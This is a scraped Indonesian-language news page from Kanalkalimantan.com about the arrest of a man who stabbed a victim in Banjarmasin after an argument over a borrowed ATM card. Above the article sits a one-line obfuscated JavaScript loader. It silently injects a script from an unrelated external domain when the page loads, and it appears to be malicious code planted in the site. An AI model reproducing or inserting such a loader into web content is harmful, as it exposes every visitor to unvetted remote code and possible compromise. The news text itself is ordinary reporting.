(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALINANTAN.COM, BANJARMASIN – Seorang pria berinisial MN alias Anang Toba dibekuk jajaran Polsek Banjarmasin Barat karena melakukan tindak pidana penganiayaan.
Korban adalah Pariyadi, warga Kecamatan Mandastana, Kabupaten Barito Kuala (Batola), Kalsel.
Sedangkan pelaku merupakan warga jalan Banyiur Luar, Kelurahan Basirih, Kecamatan Banjarmasin Barat, Kota Banjarmasin.
Kapolsek Banjarmasin Barat Kompol Faizal Rahman melalui Kanit Reskrim Iptu Firuza Bahri kronologis kejadian bermula ketika korban Pariyadi pada Selasa (21/2/2023) lalu, mencari kartu ATM miliknya yang dipinjam oleh pelaku.
Baca juga: Kelompok LSM Luncurkan Dana Nusantara Berdayakan Masyarakat Adat Lawan Perubahan Iklim
Saat pertemuan korban dengan Anang Toba di jalan Ampera gang 20 RT 012 Kelurahan Telaga Biru, Kecamatan Banjarmasin Barat, Kota Banjarmasin terjadi adu mulut hingga berakhir penganiayaan di lokasi tersebut.
“Terlapor (Anang Toba) mengeluarkan senjata tajam dari pinggangnya dan langsung menganiaya korban,” katanya, Senin (8/5/2023) malam.
Atas kejadian tersebut korban mengalami luka robek di punggung tangan sebelah kiri di atas jari kelingking dan jari manis, serta luka robek di punggung sebelah kanan.
Lebih lanjut, dijelaskan pelaku Anang Toba berhasil diamankan tim Opsnal Reskrim Polsek Banjarmasin Barat pada Sabtu (6/5/2023) sekitar pukul 17.00 Wita di jalan Sutoyo S Gang 20, Kelurahan Telaga Biru, Kecamatan Banjarmasin Barat, Kota Banjarmasin.
“Pelaku dan barang bukti hasil visum dibawa ke polsek guna proses hukum lebih lanjut,” ujar Iptu Firuza Bahri.
Sementara itu, dikatakan barang bukti sajam yang digunakan pelaku untuk menganiaya korban masih dalam proses pencarian.
Baca juga: Lomba Makanan Sehat Bergizi Berimbang Antar Kelurahan se Banjarbaru, Ini Daftar Juaranya
Pelaku diancam dengan Pasal 351 KUHP tentang Penganiayaan dengan ancaman hukuman maksimal 2 tahun 8 bulan penjara. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
This website uses cookies.